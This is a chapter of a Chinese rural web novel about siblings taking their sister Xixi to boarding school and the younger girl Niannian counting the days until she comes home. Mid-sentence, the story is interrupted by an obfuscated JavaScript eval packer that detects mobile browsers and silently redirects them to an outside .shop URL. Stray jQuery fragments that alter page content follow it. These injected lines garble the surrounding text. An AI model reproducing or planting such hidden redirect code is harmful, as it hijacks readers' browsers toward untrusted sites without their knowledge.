五月二十日，熙熙报到的日子。
天没亮，母亲就起来了。林晨听见灶房里传来生火的声音，柴火噼啪响，锅盖磕在锅沿上。他睁开眼，窗纸还是黑的。念念睡在旁边，小手攥着他的衣角，呼吸匀匀的。
他轻轻把念念的手掰开，下了炕。
灶房里，母亲蹲在灶台前，往灶膛里添柴。火光照着她的脸，瘦，颧骨高，眼窝深。她今天穿了一件洗得发白的蓝褂子，头发梳得整齐。
“妈，你起这么早。”
“你妹今天走。”母亲没抬头，把锅盖揭开，锅里的水已经开了，咕嘟咕嘟冒泡。
她从篮子里拿出两个鸡蛋，放进锅里。又从碗柜里端出一碗剩饭，倒进锅里，搅了搅。
“做泡饭？”
“嗯。吃了暖和。”
林晨蹲下来，帮她添柴。
念念自己醒了。她爬下炕，揉着眼睛走到灶房门口，看见母亲在做饭，含混地说：“妈，姐今天走了。”
“嗯。”
“她什么时候回来？”
“周末。”
念念伸出五根手指，看了看，又放下了。
熙熙从屋里出来，穿着那件新褂子，背着新书包。书包里装着本子、铅笔、橡皮，还有母亲塞的几个鸡蛋。她站在灶房门口，看着母亲，没说话。
“吃饭了。”母亲把泡饭盛进碗里，又把鸡蛋捞出来，放在碟子里。
四个人围在桌边。一碗泡饭，两个鸡蛋，一碟咸菜。
母亲把鸡蛋推到熙熙面前：“你吃。”
熙熙拿起一个鸡蛋，剥开，咬了一口。蛋白嫩嫩的，冒着热气。她嚼了嚼，咽下去。
念念看着碟子里剩下的那个鸡蛋，没动。
“念念，你吃。”熙熙说。
“给你吃的。”
“我吃一个就够了。”
念念拿起鸡蛋，剥开，咬了一小口，然后又放回碟子里。
“咋不吃了？”母亲问。
“留给姐。”念念说，“姐路上吃。”
熙熙看了她一眼，没说话，把那个鸡蛋用草纸包好，装进书包里。
吃完饭，林晨扛起熙熙的铺盖卷。被子是母亲刚拆洗过的，太阳晒过，有一股暖烘烘的味道。铺盖卷用旧床单包着，系了两道绳。
“走吧。”林晨说。
熙熙站起来，背上书包。念念拉着她的手，跟着出了院门。
母亲站在门口，没跟出来。
“妈，你不去？”念念回头问。
“你们去。”母亲说完，转身进了灶房。
念念看着她的背影，又回头看林晨。
“哥，妈咋了？”
“没事。”
土路上，三个人走成一排。林晨扛着铺盖卷走在前头，熙熙走在中间，念念走在最后头。念念走得不快，但跟得紧，一步不落。
“姐，你到了学校，会不会想我？”
“会。”
“那你早点回来。”
“周末就回来。”
念念伸出五根手指：“五天。”
“嗯。”
走了一段路，念念又问了：“五天是多久？”
林晨替熙熙答了：“你数五根手指头，数完了，姐就回来了。”
念念低头数手指，数到五，抬头看了看路，还在走，没到家。
“哥，你骗人。”
林晨没接话。
村口老榆树下，李叔蹲在树根上抽旱烟。看见他们，站起来，把烟袋锅在鞋底上磕了磕。
“熙熙，走了？”
“嗯。”
“好好念书。”李叔从兜里掏出两毛钱，塞进熙熙手里，“买本子。”
“李叔，我不要——”
“拿着。”李叔拍拍她的肩膀，转身走了。
熙熙攥着那两毛钱，眼眶红了。
出了村，上了大路。太阳从东边升起来了，照在土路上，黄灿灿的。路两边的玉米地一眼望不到头，叶子宽大，绿得发黑，风一吹，哗啦哗啦响。
念念走累了，步子慢了。林晨停下来，蹲下身子。
“上来。”
念念趴到他背上，搂着他的脖子。铺盖卷扛在肩上，背上再背一个念念，林晨走路有点晃，但稳住了。
“哥，你累不累？”
“不累。”
“你出汗了。”
“天热。”
念念伸手，用袖子给他擦了擦额头。袖子是棉布的，吸汗，擦了之后，林晨额头凉了一瞬。
“哥，姐住校了，你跟谁睡？”
“自己睡。”
“那你怕不怕？”
“不怕。”
“我怕。”念念把脸埋在他肩膀上，“姐走了，没人跟我说话了。”
熙熙走在旁边，听见了，没说话，伸手摸了摸念念的头发。
公社到了。
街上人不多，几个赶集的挑着担子匆匆走过。供销社还没开门，邮局门口坐着一个老头，晒着太阳打盹。
学校在公社大街的尽头，一圈土墙，门口挂着一块木牌，写着“红旗公社中心小学”。门开着，里面已经有人了。几个穿着新衣裳的孩子在院子里跑，家长站在旁边，手里提着铺盖卷和书包。
林晨把念念放下来，把铺盖卷放在地上。
“熙熙，去报到。”
熙熙站在校门口，往里看了一眼，没动。
“咋了？”林晨问。
“没咋。”熙熙深吸一口气，走进去。
林晨牵着念念，跟在后面。
报到处在一间教室里，一张课桌后面坐着一个女老师，戴着眼镜，头发梳得一丝不苟。
“叫什么名字？”
“林熙熙。”
女老师翻开花名册，手指在纸上划，找到了名字，打了一个勾。
“学费十五块。”
林晨从口袋里掏出钱，数了十五块，递过去。女老师点了点，开了一张收据，递给他。
“宿舍在东边那排房子，第三间。床铺自己找。”
熙熙接过收据，装进口袋。
宿舍是一间大屋子，里面摆着十几张上下铺。已经有人在了，一个短头发的女孩正在铺床，看见熙熙进来，笑了一下。
“你也是一年级的？”
“嗯。”
“我叫王秀英，柳河大队的。”
熙熙愣了一下：“柳河大队？”
“嗯，你听说过？”
“我外公家在那。”熙熙说，脸上的表情松了一些。
王秀英帮她占了靠窗的下铺。林晨把铺盖卷打开，把褥子铺好，被子叠好放整齐。念念站在旁边，看着宿舍里的床，一排一排的，比自己家的炕高多了。
“姐，你睡上面还是下面？”
“下面。”
念念蹲下来，摸了摸褥子，软的，比家里的厚。
“姐，你晚上别踢被子。”
熙熙笑了。
林晨站在门口，看着熙熙铺床，看着念念趴在床沿上跟她说话，看着宿舍里人来人往。
他从口袋里掏出那几块糖——上次买的，剩了三块——放在熙熙的枕头上。
“饿了吃。”
熙熙看着那几块糖，喉咙发紧。
“哥。”
“嗯。”
“你回去吧，念念该饿了。”
林晨点了点头，蹲下来，看着念念。
“念念，跟姐说再见。”
念念站在门口，看着熙熙。
“姐，你周末回来。”
“回来。”
“那你早点回来。”
“好。”
念念伸出手，小指翘着。熙熙蹲下来，跟她拉了一下。
念念松开手，转身走了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508805|202911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。走了几步，又回头看了一眼，熙熙还站在门口，朝她挥手。念念也挥了挥手，然后转过头，跟着林晨走了。
出了校门，念念走得很慢。林晨蹲下来，她趴到他背上。
“哥。”
“嗯。”
“姐什么时候回来？”
“五天。”
“五天是多久？”
林晨想了想：“你每天晚上睡觉前，数一颗星星。数到第五颗，姐就回来了。”
念念抬头看天，天还亮着，没有星星。
“现在没有星星。”
“晚上就有了。”
念念“哦”了一声，把脸埋在他肩膀上。
太阳越升越高，晒得人发昏。路上没有树荫，土路被晒得发白，踩上去烫脚。林晨走得快，背上的念念越来越沉。
“念念，你睡了？”
“没睡。”
“那你怎么不说话？”
“在想姐。”
林晨没接话。
到家的时候，母亲站在灶房门口，手里拿着一把菜，没切，在手里攥着。
“送走了？”
“送走了。”
母亲转过身，进了灶房。
念念从林晨背上滑下来，走到灶房门口，看着母亲的背影。
“妈，姐周末回来。”
“嗯。”
“五天。”
“嗯。”
念念蹲在灶房门口，拿小棍子在地上画。画了一个圈，又在圈里点了两点。
“这是姐。”她说。
林晨走过来，蹲下来看了看。
“姐在干啥？”
“姐在上课。”念念在圈外面又画了一个更大的圈，“这是学校。”
“姐坐在里面？”
“嗯。”念念指着小圈，“姐在这儿。”
她又在小圈旁边画了一个更小的圈。
“这是谁？”林晨问。
“念念。”
“你也在学校？”
“嗯。我想姐了，就去学校看她。”
林晨摸了摸她的头。
晚上，月亮升起来了。念念坐在门槛上，仰头看天。天上星星不多，稀稀拉拉的，但她认真地数。
“一。”
数完一个，低头想了一会儿。
“二。”
又低头想了一会儿。
“三。”
“念念，你数到几了？”林晨从灶房出来。
“三。”
“继续数。”
念念又抬头，找第四颗星星。找了半天，找到了，指着那颗亮晶晶的。
“四。”
“还有一颗呢？”
念念又找，找了好一会儿，找到了。
“五。”
她站起来，跑到院门口，往路上看。路黑漆漆的，没有人。
“哥，姐没回来。”
“五天以后才回来。今天才第一天。”
念念低下头，掰着手指头数了一遍。
“明天第二天，后天第三天，大后天第四天，大大后天第五天。”
“对。”
念念点点头，从门槛上下来，走进灶房。
“妈，还有四天。”
母亲正在切菜，没抬头。
夜里，林晨进了一趟空间。菠菜长了一截，嫩嫩的，绿莹莹的。萝卜又大了一圈，白生生的，顶出土来。他拔了几根，放在筐里。
灌了竹筒，出来，兑进水壶。
躺在炕上，念念的手又搭过来了。她今天没攥他的袖子，而是把手放在他手心里，小小的，凉丝丝的。
林晨没动，在黑暗里睁着眼。
熙熙走了。
家里少了一个人，一下子空了很多。
但他知道，她会回来的。
周末。
五天。
很快。